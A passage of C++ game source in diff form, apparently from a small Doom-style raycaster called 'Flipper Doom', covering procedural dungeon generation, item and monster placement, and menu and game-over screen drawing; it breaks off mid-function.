result.count = 0;
result.canDemolishNorth = y > 1;
result.canDemolishWest = x > 1;
result.canDemolishEast = x + w + 1 < Map::width - 1;
result.canDemolishSouth = y + h + 1 < Map::height - 1;
// Don't demolish walls if the neighbouring room has the same wall length
if (Map::GetCell(x - 1, y - 2) != CellType::Empty && Map::GetCell(x + w, y - 2) != CellType::Empty)
{
result.canDemolishNorth = false;
}
if (Map::GetCell(x - 2, y - 1) != CellType::Empty && Map::GetCell(x - 2, y + h) != CellType::Empty)
{
result.canDemolishWest = false;
}
if (Map::GetCell(x + w + 1, y - 1) != CellType::Empty && Map::GetCell(x + w, y + h + 1) != CellType::Empty)
{
result.canDemolishEast = false;
}
if (Map::GetCell(x - 1, y + h + 1) != CellType::Empty && Map::GetCell(x + w, y + h + 1) != CellType::Empty)
{
result.canDemolishSouth = false;
}
// Don't demolish wall if this will leave an unattached wall
if (Map::GetCell(x - 1, y - 2) == CellType::Empty && Map::GetCell(x - 2, y - 1) == CellType::Empty)
{
result.canDemolishNorth = false;
result.canDemolishWest = false;
}
if (Map::GetCell(x + w, y - 2) == CellType::Empty && Map::GetCell(x + w + 1, y - 1) == CellType::Empty)
{
result.canDemolishNorth = false;
result.canDemolishEast = false;
}
if (Map::GetCell(x + w, y + h + 1) == CellType::Empty && Map::GetCell(x + w + 1, y + h) == CellType::Empty)
{
result.canDemolishSouth = false;
result.canDemolishEast = false;
}
if (Map::GetCell(x - 1, y + h + 1) == CellType::Empty && Map::GetCell(x - 2, y + h) == CellType::Empty)
{
result.canDemolishSouth = false;
result.canDemolishWest = false;
}
bool hasNorthWall = Map::GetCell(x, y - 1) != CellType::Empty && Map::GetCell(x + w - 1, y - 1) != CellType::Empty;
bool hasEastWall = Map::GetCell(x + w, y) != CellType::Empty && Map::GetCell(x + w, y + h - 1) != CellType::Empty;
bool hasSouthWall = Map::GetCell(x, y + h) != CellType::Empty && Map::GetCell(x + w - 1, y + h) != CellType::Empty;
bool hasWestWall = Map::GetCell(x - 1, y) != CellType::Empty && Map::GetCell(x - 1, y + h - 1) != CellType::Empty;
if (!hasNorthWall)
{
result.canDemolishNorth = false;
result.canDemolishEast = false;
result.canDemolishWest = false;
}
if (!hasEastWall)
{
result.canDemolishNorth = false;
result.canDemolishEast = false;
result.canDemolishSouth = false;
}
if (!hasSouthWall)
{
result.canDemolishEast = false;
result.canDemolishSouth = false;
result.canDemolishWest = false;
}
if (!hasWestWall)
{
result.canDemolishNorth = false;
result.canDemolishSouth = false;
result.canDemolishWest = false;
}
for (int i = x; i < x + w; i++)
{
if (Map::GetCell(i, y - 1) == CellType::Empty)
{
result.hasNorth = true;
result.count++;
}
if (Map::GetCell(i, y + h) == CellType::Empty)
{
result.hasSouth = true;
result.count++;
}
// Don't demolish wall if there is an intersecting wall attached
if (y > 1 && Map::GetCell(i, y - 2) != CellType::Empty)
{
result.canDemolishNorth = false;
}
if (y + h + 1 < Map::height - 1 && Map::GetCell(i, y + h + 1) != CellType::Empty)
{
result.canDemolishSouth = false;
}
}
for (int j = y; j < y + h; j++)
{
if (Map::GetCell(x - 1, j) == CellType::Empty)
{
result.hasWest = true;
result.count++;
}
if (Map::GetCell(x + w, j) == CellType::Empty)
{
result.hasEast = true;
result.count++;
}
// Don't demolish wall if there is an intersecting wall attached
if (x > 1 && Map::GetCell(x - 2, j) != CellType::Empty)
{
result.canDemolishWest = false;
}
if (x + w + 1 < Map::width - 1 && Map::GetCell(x + w + 1, j) != CellType::Empty)
{
result.canDemolishEast = false;
}
}
return result;
}
void MapGenerator::SplitMap(uint8_t x, uint8_t y, uint8_t w, uint8_t h, uint8_t doorX, uint8_t doorY)
{
constexpr int minRoomSize = 3;
constexpr int maxRoomSize = 8;
//constexpr int maxFloorSpace = 80;
constexpr int demolishWallChance = 20;
if (doorX != 0 && doorY != 0)
{
Map::SetCell(doorX, doorY, CellType::Empty);
}
bool splitVertical = false;
bool splitHorizontal = false;
if (w > maxRoomSize || h > maxRoomSize)//w * h > maxFloorSpace)
{
if (w < h)
{
splitVertical = true;
}
else
{
splitHorizontal = true;
}
}
if (splitVertical)
{
uint8_t splitSize;
uint8_t splitAttempts = 255;
do
{
splitSize = (Random() % (h - 2 * minRoomSize)) + minRoomSize;
splitAttempts--;
} while (splitAttempts > 0 && (Map::GetCell(x - 1, y + splitSize) == CellType::Empty || Map::GetCell(x + w, y + splitSize) == CellType::Empty
|| Map::GetCell(x - 1, y + splitSize - 1) == CellType::Empty || Map::GetCell(x + w, y + splitSize - 1) == CellType::Empty
|| Map::GetCell(x - 1, y + splitSize + 1) == CellType::Empty || Map::GetCell(x + w, y + splitSize + 1) == CellType::Empty));
if (splitAttempts > 0)
{
uint8_t splitDoorX = x + (Random() % (w - 2)) + 1;
uint8_t splitDoorY = y + splitSize;
for (uint8_t i = x; i < x + w; i++)
{
Map::SetCell(i, y + splitSize, CellType::BrickWall);
}
SplitMap(x, y + splitSize + 1, w, h - splitSize - 1, splitDoorX, splitDoorY);
SplitMap(x, y, w, splitSize, splitDoorX, splitDoorY);
return;
}
}
else if (splitHorizontal)
{
uint8_t splitSize;
uint8_t splitAttempts = 255;
do
{
splitSize = (Random() % (w - 2 * minRoomSize)) + minRoomSize;
splitAttempts--;
} while (splitAttempts > 0 && (Map::GetCell(x + splitSize, y - 1) == CellType::Empty || Map::GetCell(x + splitSize, y + h) == CellType::Empty
|| Map::GetCell(x + splitSize - 1, y - 1) == CellType::Empty || Map::GetCell(x + splitSize - 1, y + h) == CellType::Empty
|| Map::GetCell(x + splitSize + 1, y - 1) == CellType::Empty || Map::GetCell(x + splitSize + 1, y + h) == CellType::Empty));
if (splitAttempts > 0)
{
uint8_t splitDoorX = x + splitSize;
uint8_t splitDoorY = y + (Random() % (h - 2)) + 1;
for (uint8_t j = y; j < y + h; j++)
{
Map::SetCell(x + splitSize, j, CellType::BrickWall);
}
SplitMap(x + splitSize + 1, y, w - splitSize - 1, h, splitDoorX, splitDoorY);
SplitMap(x, y, splitSize, h, splitDoorX, splitDoorY);
return;
}
}
{
NeighbourInfo neighbours = GetRoomNeighbourMask(x, y, w, h);
if (neighbours.canDemolishNorth && (Random() % 100) < demolishWallChance)
{
for (int i = 0; i < w; i++)
{
Map::SetCell(x + i, y - 1, CellType::Empty);
}
}
else if (neighbours.canDemolishWest && (Random() % 100) < demolishWallChance)
{
for (int j = 0; j < h; j++)
{
Map::SetCell(x - 1, y + j, CellType::Empty);
}
}
else if (neighbours.canDemolishSouth && (Random() % 100) < demolishWallChance)
{
for (int i = 0; i < w; i++)
{
Map::SetCell(x + i, y + h, CellType::Empty);
}
}
else if (neighbours.canDemolishEast && (Random() % 100) < demolishWallChance)
{
for (int j = 0; j < h; j++)
{
Map::SetCell(x + w, y + j, CellType::Empty);
}
}
// Add decorations
{
// Add four cornering columns
if (w == h && w >= 7 && h >= 7)
{
Map::SetCell(x + 1, y + 1, CellType::BrickWall);
Map::SetCell(x + w - 2, y + 1, CellType::BrickWall);
Map::SetCell(x + w - 2, y + h - 2, CellType::BrickWall);
Map::SetCell(x + 1, y + h - 2, CellType::BrickWall);
}
}
}
}
void MapGenerator::Generate()
{
uint8_t playerStartX = 1;
uint8_t playerStartY = 1;
for (int y = 0; y < Map::height; y++)
{
for (int x = 0; x < Map::width; x++)
{
bool isEdge = x == 0 || y == 0 || x == Map::width - 1 || y == Map::height - 1;
Map::SetCell(x, y, isEdge ? CellType::BrickWall : CellType::Empty);
}
}
SplitMap(1, 1, Map::width - 2, Map::height - 2, 0, 0);
// Find any big open spaces
{
bool hasOpenSpaces = true;
while (hasOpenSpaces)
{
hasOpenSpaces = false;
uint8_t x = 0, y = 0, space = 0;
for (uint8_t i = 1; i < Map::width - 1; i++)
{
for (uint8_t j = 0; j < Map::height - 1; j++)
{
bool foundWall = false;
for (uint8_t k = 0; k < Map::height && !foundWall; k++)
{
for (uint8_t u = 0; u < k && !foundWall; u++)
{
for (uint8_t v = 0; v < k && !foundWall; v++)
{
if (Map::GetCellSafe(i + u, j + v) != CellType::Empty)
{
foundWall = true;
}
}
}
if (!foundWall && k > space)
{
space = k;
x = i;
y = j;
}
}
}
}
if (space > 6)
{
hasOpenSpaces = true;
// Stick a donut in the middle
for (uint8_t n = 2; n < space - 2; n++)
{
Map::SetCell(x + n, y + 2, CellType::BrickWall);
Map::SetCell(x + 2, y + n, CellType::BrickWall);
Map::SetCell(x + n, y + space - 3, CellType::BrickWall);
Map::SetCell(x + space - 3, y + n, CellType::BrickWall);
}
}
}
}
// Add torches
{
uint8_t attempts = 255;
uint8_t toSpawn = 64;
uint8_t minSpacing = 3;
while (attempts > 0 && toSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
if (Map::GetCellSafe(x, y) == CellType::Empty)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if(info.count == 1 && GetDistanceToCellType(x, y, CellType::Torch) > minSpacing)
{
Map::SetCell(x, y, CellType::Torch);
toSpawn--;
attempts = 255;
}
}
attempts--;
}
}
// Add monsters
{
uint8_t attempts = 255;
uint8_t monstersToSpawn = EnemyManager::maxEnemies;
CellType monsterType = CellType::Monster;
uint8_t minSpacing = 3;
while (attempts > 0 && monstersToSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
if (Map::GetCellSafe(x, y) == CellType::Empty && Map::IsClearLine(x * CELL_SIZE + CELL_SIZE / 2, y * CELL_SIZE + CELL_SIZE / 2, playerStartX * CELL_SIZE + CELL_SIZE / 2, playerStartY * CELL_SIZE + CELL_SIZE / 2) == false)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if (info.count == 0 && GetDistanceToCellType(x, y, monsterType) > minSpacing)
{
Map::SetCell(x, y, monsterType);
monstersToSpawn--;
attempts = 255;
}
}
attempts--;
}
}
// Add blocking decorations
{
uint8_t attempts = 255;
uint8_t toSpawn = 255;
CellType cellType = CellType::Urn;
uint8_t minSpacing = 3;
while (attempts > 0 && toSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
if (Map::GetCellSafe(x, y) == CellType::Empty)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if(info.IsCorner() && GetDistanceToCellType(x, y, cellType) > minSpacing)
{
Map::SetCell(x, y, cellType);
toSpawn--;
attempts = 255;
}
}
attempts--;
}
}
// Add entrance and exit
Map::SetCell(1, 1, CellType::Entrance);
Map::SetCell(Map::width - 3, Map::height - 3, CellType::Exit);
// Add sign
if(false)
{
uint16_t attempts = 65535;
constexpr uint8_t closeness = 5;
while (attempts > 0)
{
uint8_t x = Random() % closeness;
uint8_t y = Random() % closeness;
if (Map::GetCellSafe(x, y) == CellType::Empty
&& Map::GetCellSafe(x - 1, y) == CellType::Empty
&& Map::GetCellSafe(x, y - 1) == CellType::Empty
&& Map::GetCellSafe(x + 1, y) == CellType::Empty
&& Map::GetCellSafe(x, y + 1) == CellType::Empty
&& Map::GetCellSafe(x - 1, y - 1) == CellType::Empty
&& Map::GetCellSafe(x + 1, y - 1) == CellType::Empty
&& Map::GetCellSafe(x - 1, y + 1) == CellType::Empty
&& Map::GetCellSafe(x + 1, y + 1) == CellType::Empty
&& Map::IsClearLine(x * CELL_SIZE + CELL_SIZE / 2, y * CELL_SIZE + CELL_SIZE / 2, playerStartX * CELL_SIZE + CELL_SIZE / 2, playerStartY * CELL_SIZE + CELL_SIZE / 2))
{
Map::SetCell(x, y, CellType::Sign);
break;
}
attempts--;
}
}
else if(Game::floor == 1)
{
Map::SetCell(2, 2, CellType::Sign);
}
// Add treasure / items
{
uint16_t attempts = 65535;
uint8_t toSpawn = 8;
CellType cellType = CellType::Chest;
uint8_t minSpacing = 3;
uint8_t minExitSpacing = 6;
while (attempts > 0 && toSpawn > 0)
{
uint8_t x = Random() % Map::width;
uint8_t y = Random() % Map::height;
switch (Random() % 5)
{
case 0:
cellType = CellType::Potion;
break;
case 1:
cellType = CellType::Coins;
break;
case 2:
cellType = CellType::Chest;
break;
case 3:
cellType = CellType::Crown;
break;
case 4:
cellType = CellType::Scroll;
break;
}
if (Map::GetCellSafe(x, y) == CellType::Empty)
{
NeighbourInfo info = GetCellNeighbourInfo(x, y);
if(info.count == 1
&& GetDistanceToCellType(x, y, cellType) > minSpacing
&& GetDistanceToCellType(x, y, CellType::Entrance) > minExitSpacing
&& GetDistanceToCellType(x, y, CellType::Exit) > minExitSpacing)
{
Map::SetCell(x, y, cellType);
toSpawn--;
attempts = 255;
}
}
attempts--;
}
}
}
@@ -0,0 +1,60 @@
#pragma once
#include <stdint.h>
#include "game/Map.h"
class MapGenerator
{
public:
static void Generate();
private:
struct NeighbourInfo
{
union
{
uint8_t mask;
struct
{
bool hasNorth : 1;
bool hasEast : 1;
bool hasSouth : 1;
bool hasWest : 1;
bool canDemolishNorth : 1;
bool canDemolishEast : 1;
bool canDemolishSouth : 1;
bool canDemolishWest : 1;
};
};
uint8_t count;
bool IsCorner() const
{
if (count != 2)
return false;
if (hasNorth && hasEast)
return true;
if (hasEast && hasSouth)
return true;
if (hasSouth && hasWest)
return true;
if (hasWest && hasNorth)
return true;
return false;
}
};
static uint8_t CountNeighbours(uint8_t x, uint8_t y);
static uint8_t CountImmediateNeighbours(uint8_t x, uint8_t y);
static NeighbourInfo GetRoomNeighbourMask(uint8_t x, uint8_t y, uint8_t w, uint8_t h);
static void SplitMap(uint8_t x, uint8_t y, uint8_t w, uint8_t h, uint8_t doorX, uint8_t doorY);
static NeighbourInfo GetCellNeighbourInfo(uint8_t x, uint8_t y);
static uint8_t GetDistanceToCellType(uint8_t x, uint8_t y, CellType cellType);
};
@@ -0,0 +1,705 @@
#include "game/Defines.h"
#include "game/Platform.h"
#include "game/Menu.h"
#include "game/Font.h"
#include "game/Game.h"
#include "game/Draw.h"
#include "game/Textures.h"
#include "game/Generated/SpriteTypes.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "lib/EEPROM.h"
#include <stdio.h>
#include <string.h>
constexpr uint8_t EEPROM_BASE_ADDR = 0;
struct ObjDesc {
const uint16_t* sprite;
bool animated;
bool invert;
uint8_t varsIndex;
};
static const ObjDesc kObjects[] = {
{ chestSpriteData, false, false, 0 },
{ crownSpriteData, false, false, 1 },
{ scrollSpriteData, false, false, 2 },
{ coinsSpriteData, false, false, 3 },
{ skeletonSpriteData, true, false, 4 },
{ mageSpriteData, true, false, 5 },
{ batSpriteData, true, false, 6 },
{ spiderSpriteData, true, false, 7 },
{ exitSpriteData, false, false, 8 }
};
static constexpr uint8_t kObjectsCount = (uint8_t)(sizeof(kObjects) / sizeof(kObjects[0]));
static constexpr uint8_t SHIFT_MASK = 63;
namespace {
constexpr uint8_t MENU_ITEMS_COUNT = 4;
constexpr uint8_t VISIBLE_ROWS = 2;
constexpr uint8_t MENU_FIRST_ROW = 4;
constexpr uint8_t TEXT_X = 18;
constexpr uint8_t CURSOR_X = 10;
constexpr uint8_t SPLASH_TIME_TICKS = 90;
static uint8_t splashTimer = 0;
static bool splashActive = true;
static uint8_t Wrap(int v, int n) {
v %= n;
if(v < 0) v += n;
return (uint8_t)v;
}
static uint8_t MaxTop() {
return (MENU_ITEMS_COUNT > VISIBLE_ROWS) ? (uint8_t)(MENU_ITEMS_COUNT - VISIBLE_ROWS) : 0;
}
void DrawMenuRoom() {
const int16_t leftWall = 1 * CELL_SIZE;
const int16_t rightWall = 4 * CELL_SIZE;
const int16_t topWall = 1 * CELL_SIZE;
const int16_t bottomWall = 4 * CELL_SIZE;
Renderer::camera.x = (int16_t)((leftWall + rightWall) / 2);
Renderer::camera.y = (int16_t)((topWall + bottomWall) / 2);
static uint16_t angleFP = 0;
constexpr uint16_t SPEED_FP = 64;
angleFP = (uint16_t)(angleFP + SPEED_FP);
Renderer::camera.angle = (uint8_t)(angleFP >> 8);
Renderer::camera.tilt = 0;
Renderer::camera.bob = 0;
Renderer::globalRenderFrame++;
Renderer::DrawBackground();
Renderer::numBufferSlicesFilled = 0;
Renderer::numQueuedDrawables = 0;
for(uint8_t n = 0; n < DISPLAY_WIDTH; n++) {
Renderer::wBuffer[n] = 0;
Renderer::horizonBuffer[n] = HORIZON +
(((DISPLAY_WIDTH / 2 - n) * Renderer::camera.tilt) >> 8) +
Renderer::camera.bob;
}
Renderer::camera.cellX = Renderer::camera.x / CELL_SIZE;
Renderer::camera.cellY = Renderer::camera.y / CELL_SIZE;
{
uint16_t rotPhase = (uint16_t)(0 - angleFP);
uint8_t a0 = (uint8_t)(rotPhase >> 8);
uint8_t f = (uint8_t)(rotPhase & 0xff);
uint8_t a1 = (uint8_t)(a0 + 1);
int16_t c0 = FixedCos(a0);
int16_t c1 = FixedCos(a1);
int16_t s0 = FixedSin(a0);
int16_t s1 = FixedSin(a1);
Renderer::camera.rotCos = (int16_t)(c0 + (((int32_t)(c1 - c0) * f) >> 8));
Renderer::camera.rotSin = (int16_t)(s0 + (((int32_t)(s1 - s0) * f) >> 8));
}
{
uint16_t clipPhase = (uint16_t)(((uint16_t)CLIP_ANGLE << 8) - angleFP);
uint8_t a0 = (uint8_t)(clipPhase >> 8);
uint8_t f = (uint8_t)(clipPhase & 0xff);
uint8_t a1 = (uint8_t)(a0 + 1);
int16_t c0 = FixedCos(a0);
int16_t c1 = FixedCos(a1);
int16_t s0 = FixedSin(a0);
int16_t s1 = FixedSin(a1);
Renderer::camera.clipCos = (int16_t)(c0 + (((int32_t)(c1 - c0) * f) >> 8));
Renderer::camera.clipSin = (int16_t)(s0 + (((int32_t)(s1 - s0) * f) >> 8));
}
#if WITH_IMAGE_TEXTURES
const uint16_t* texture = wallTextureData;
#elif WITH_VECTOR_TEXTURES
const uint8_t* texture = vectorTexture0;
#endif
constexpr int8_t MIN_CELL = 0;
constexpr int8_t MAX_CELL = 4;
#define MENU_SOLID(cx, cy) (((cx) == 0) || ((cx) == MAX_CELL) || ((cy) == 0) || ((cy) == MAX_CELL))
#define MENU_SOLID_SAFE(cx, cy) \
(((cx) < MIN_CELL || (cx) > MAX_CELL || (cy) < MIN_CELL || (cy) > MAX_CELL) ? \
true : \
MENU_SOLID((cx), (cy)))
int8_t xd, yd;
int8_t x1, y1, x2, y2;
if(Renderer::camera.rotCos > 0) {
x1 = MIN_CELL;
x2 = MAX_CELL + 1;
xd = 1;
} else {
x2 = MIN_CELL - 1;
x1 = MAX_CELL;
xd = -1;
}
if(Renderer::camera.rotSin < 0) {
y1 = MIN_CELL;
y2 = MAX_CELL + 1;
yd = 1;
} else {
y2 = MIN_CELL - 1;
y1 = MAX_CELL;
yd = -1;
}
auto drawMenuCell = [&](int8_t x, int8_t y) {
if(!MENU_SOLID(x, y)) return;
if(Renderer::isFrustrumClipped(x, y)) return;
if(Renderer::numBufferSlicesFilled >= DISPLAY_WIDTH) return;
const bool blockedLeft = MENU_SOLID_SAFE(x - 1, y);
const bool blockedRight = MENU_SOLID_SAFE(x + 1, y);
const bool blockedUp = MENU_SOLID_SAFE(x, y - 1);
const bool blockedDown = MENU_SOLID_SAFE(x, y + 1);
int16_t wx1 = (int16_t)(x * CELL_SIZE);
int16_t wy1 = (int16_t)(y * CELL_SIZE);
int16_t wx2 = (int16_t)(wx1 + CELL_SIZE);
int16_t wy2 = (int16_t)(wy1 + CELL_SIZE);
if(!blockedLeft && Renderer::camera.x < wx1) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx1,
wy1,
wx1,
wy2,
!blockedUp && Renderer::camera.y > wy1,
!blockedDown && Renderer::camera.y < wy2,
false);
#else
Renderer::DrawWall(
wx1,
wy1,
wx1,
wy2,
!blockedUp && Renderer::camera.y > wy1,
!blockedDown && Renderer::camera.y < wy2,
false);
#endif
}
if(!blockedDown && Renderer::camera.y > wy2) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx1,
wy2,
wx2,
wy2,
!blockedLeft && Renderer::camera.x > wx1,
!blockedRight && Renderer::camera.x < wx2,
false);
#else
Renderer::DrawWall(
wx1,
wy2,
wx2,
wy2,
!blockedLeft && Renderer::camera.x > wx1,
!blockedRight && Renderer::camera.x < wx2,
false);
#endif
}
if(!blockedRight && Renderer::camera.x > wx2) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx2,
wy2,
wx2,
wy1,
!blockedDown && Renderer::camera.y < wy2,
!blockedUp && Renderer::camera.y > wy1,
false);
#else
Renderer::DrawWall(
wx2,
wy2,
wx2,
wy1,
!blockedDown && Renderer::camera.y < wy2,
!blockedUp && Renderer::camera.y > wy1,
false);
#endif
}
if(!blockedUp && Renderer::camera.y < wy1) {
#if WITH_TEXTURES
Renderer::DrawWall(
texture,
wx2,
wy1,
wx1,
wy1,
!blockedRight && Renderer::camera.x < wx2,
!blockedLeft && Renderer::camera.x > wx1,
false);
#else
Renderer::DrawWall(
wx2,
wy1,
wx1,
wy1,
!blockedRight && Renderer::camera.x < wx2,
!blockedLeft && Renderer::camera.x > wx1,
false);
#endif
}
};
if(ABS(Renderer::camera.rotCos) < ABS(Renderer::camera.rotSin)) {
for(int8_t y = y1; y != y2; y += yd) {
for(int8_t x = x1; x != x2; x += xd) {
drawMenuCell(x, y);
}
}
} else {
for(int8_t x = x1; x != x2; x += xd) {
for(int8_t y = y1; y != y2; y += yd) {
drawMenuCell(x, y);
}
}
}
#undef MENU_SOLID_SAFE
#undef MENU_SOLID
}
}
void Menu::Draw() {
if (splashActive) {
// Title screen converted from the user's own shareware WAD
Platform::DrawSolidBitmap(0, 0, titleBitmapData);
return;
}
DrawMenuRoom();
Font::PrintString(PSTR("FLIPPER DOOM"), 2, 40, COLOUR_WHITE);
for (uint8_t row = 0; row < VISIBLE_ROWS; ++row) {
uint8_t idx = (uint8_t)(m_topIndex + row);
if (idx >= MENU_ITEMS_COUNT) break;
PrintItem(idx, (uint8_t)(MENU_FIRST_ROW + row));
}
static uint8_t bubble = 0;
static uint16_t lastFrameSeen = 0xFFFF;
const uint16_t frame = (uint16_t)Game::globalTickFrame;
if (frame != lastFrameSeen) {
if ((frame & SHIFT_MASK) == 0) {
bubble = (uint8_t)(bubble + 2);
if (bubble >= kObjectsCount) bubble = (uint8_t)(bubble - kObjectsCount);
if (bubble >= kObjectsCount) bubble = (uint8_t)(bubble - kObjectsCount);
}
lastFrameSeen = frame;
}
const uint8_t num1 = bubble;
uint8_t num2 = (uint8_t)(bubble + 1);
if (num2 >= kObjectsCount) num2 = 0;
const ObjDesc& sprite1 = kObjects[num1];
const ObjDesc& sprite2 = kObjects[num2];
const int animOffset = ((Game::globalTickFrame & 8) == 0) ? 32 : 0;
const int off1 = sprite1.animated ? animOffset : 0;
const int off2 = sprite2.animated ? animOffset : 0;
const uint16_t* torchSprite =
(Game::globalTickFrame & 4) ? torchSpriteData1 : torchSpriteData2;
if (sprite1.invert) {
Renderer::DrawScaled(sprite1.sprite + off1, 66, 29, 9, 255, true, COLOUR_BLACK);
} else {
Renderer::DrawScaled(sprite1.sprite + off1, 66, 29, 9, 255);
}
if (sprite2.invert) {
Renderer::DrawScaled(sprite2.sprite + off2, 96, 30, 9, 255, true, COLOUR_BLACK);
} else {
Renderer::DrawScaled(sprite2.sprite + off2, 96, 30, 9, 255);
}
Renderer::DrawScaled(torchSprite, 0, 10, 9, 255);
Renderer::DrawScaled(torchSprite, DISPLAY_WIDTH - 18, 10, 9, 255);
Font::PrintInt(m_save[sprite1.varsIndex], MENU_FIRST_ROW + 1, 86, COLOUR_WHITE);
Font::PrintInt(m_save[sprite2.varsIndex], MENU_FIRST_ROW + 1, 116, COLOUR_WHITE);
Font::PrintString(PSTR(">"), (uint8_t)(MENU_FIRST_ROW + m_cursorPos), CURSOR_X, COLOUR_WHITE);
}
void Menu::PrintItem(uint8_t idx, uint8_t row) {
switch(idx) {
case 0:
Font::PrintString(PSTR("Play"), row, TEXT_X, COLOUR_WHITE);
break;
case 1:
Font::PrintString(PSTR("Sound:"), row, TEXT_X, COLOUR_WHITE);
Font::PrintString(
Platform::IsAudioEnabled() ? PSTR("on") : PSTR("off"), row, TEXT_X + 28, COLOUR_WHITE);
break;
case 2:
Font::PrintString(PSTR("Score:"), row, TEXT_X, COLOUR_WHITE);
Font::PrintInt(m_score, row, TEXT_X + 28, COLOUR_WHITE);
break;
case 3:
Font::PrintString(PSTR("High:"), row, TEXT_X, COLOUR_WHITE);
Font::PrintInt(m_high, row, TEXT_X + 28, COLOUR_WHITE);
break;
}
}
void Menu::Init() {
m_selection = 0;
m_topIndex = 0;
m_cursorPos = 0;
splashTimer = 0;
splashActive = true;
}
void Menu::DrawEnteringLevel() {
DrawMenuRoom();
Font::PrintString(PSTR("Entering E1M"), 3, 34, COLOUR_BLACK);
Font::PrintInt(Game::floor, 3, 82, COLOUR_BLACK);
}
static int CountCharsInt(int v) {
int n = 1;
if(v < 0) {
n++;
v = -v;
} // минус тоже символ
while(v >= 10) {
v /= 10;
n++;
}
return n;
}
void PrintScoreCentered(int finalScore) {
const int screenW = 128;
int n = CountCharsInt(finalScore);
int textW = 4 * n - 1;
int x = (screenW - textW) / 2;
Font::PrintInt(finalScore, 2, x, COLOUR_BLACK);
}
void Menu::DrawGameOver() {
uint16_t finalScore = 0;
constexpr int finishBonus = 500;
constexpr int levelBonus = 20;
constexpr int chestBonus = 15;
constexpr int crownBonus = 10;
constexpr int scrollBonus = 8;
constexpr int coinsBonus = 4;
constexpr int skeletonKillBonus = 10;
constexpr int mageKillBonus = 10;
constexpr int batKillBonus = 5;
constexpr int spiderKillBonus = 4;
finalScore += (Game::floor - 1) * levelBonus;
if(Game::stats.killedBy == EnemyType::None) finalScore += finishBonus;
finalScore += Game::stats.chestsOpened * chestBonus;
finalScore += Game::stats.crownsCollected * crownBonus;
finalScore += Game::stats.scrollsCollected * scrollBonus;
finalScore += Game::stats.coinsCollected * coinsBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Skeleton] * skeletonKillBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Mage] * mageKillBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Bat] * batKillBonus;
finalScore += Game::stats.enemyKills[(int)EnemyType::Spider] * spiderKillBonus;
DrawMenuRoom();
PrintScoreCentered(finalScore);
switch(Game::stats.killedBy) {
case EnemyType::Exit:
Font::PrintString(PSTR("You have left the game."), 1, 18, COLOUR_BLACK);
break;
case EnemyType::None:
Font::PrintString(PSTR("You escaped the base!"), 1, 22, COLOUR_BLACK);
break;
case EnemyType::Mage:
Font::PrintString(PSTR("Killed by an imp on level"), 1, 8, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 112, COLOUR_BLACK);
break;
case EnemyType::Skeleton:
Font::PrintString(PSTR("Killed by a demon on level"), 1, 6, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 114, COLOUR_BLACK);
break;
case EnemyType::Bat:
Font::PrintString(PSTR("Killed by a sergeant on level"), 1, 2, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 120, COLOUR_BLACK);
break;
case EnemyType::Spider:
Font::PrintString(PSTR("Killed by a zombie on level"), 1, 4, COLOUR_BLACK);
Font::PrintInt(Game::floor, 1, 116, COLOUR_BLACK);
break;
}
constexpr uint8_t firstRow = 21;
constexpr uint8_t secondRow = 38;
int offset = (Game::globalTickFrame & 8) == 0 ? 32 : 0;
Renderer::DrawScaled(chestSpriteData, 6, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.chestsOpened, 4, 24, COLOUR_BLACK);
Renderer::DrawScaled(crownSpriteData, 6, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.crownsCollected, 6, 24, COLOUR_BLACK);
Renderer::DrawScaled(scrollSpriteData, 36, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.scrollsCollected, 4, 54, COLOUR_BLACK);
Renderer::DrawScaled(coinsSpriteData, 36, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.coinsCollected, 6, 54, COLOUR_BLACK);
Renderer::DrawScaled(skeletonSpriteData + offset, 72, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Skeleton], 4, 90, COLOUR_BLACK);
Renderer::DrawScaled(mageSpriteData + offset, 72, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Mage], 6, 90, COLOUR_BLACK);
Renderer::DrawScaled(batSpriteData + offset, 102, firstRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Bat], 4, 120, COLOUR_BLACK);
Renderer::DrawScaled(spiderSpriteData + offset, 102, secondRow, 9, 255, false, COLOUR_WHITE);
Font::PrintInt(Game::stats.enemyKills[(int)EnemyType::Spider], 6, 120, COLOUR_BLACK);
m_save[0] = Game::stats.chestsOpened;
m_save[1] = Game::stats.crownsCollected;
m_save[2] = Game::stats.scrollsCollected;
m_save[3] = Game::stats.coinsCollected;
m_save[4] = Game::stats.enemyKills[(int)EnemyType::Skeleton];
m_save[5] = Game::stats.enemyKills[(int)EnemyType::Mage];
m_save[6] = Game::stats.enemyKills[(int)EnemyType::Bat];
m_save[7] = Game::stats.enemyKills[(int)EnemyType::Spider];
m_save[8] = 0;
if(Game::floor > 0) {
m_save[8] = Game::floor - 1;
}
SetScore(finalScore);
}
void Menu::Tick() {
static uint8_t lastInput = 0;
uint8_t input = Platform::GetInput();
if(splashActive) {
if(splashTimer < SPLASH_TIME_TICKS) splashTimer++;
if(splashTimer >= SPLASH_TIME_TICKS) splashActive = false;
// any key skips the title screen
if(input && !lastInput && splashTimer > 8) splashActive = false;
lastInput = input;
return;
}
auto syncWindow = [&]() {
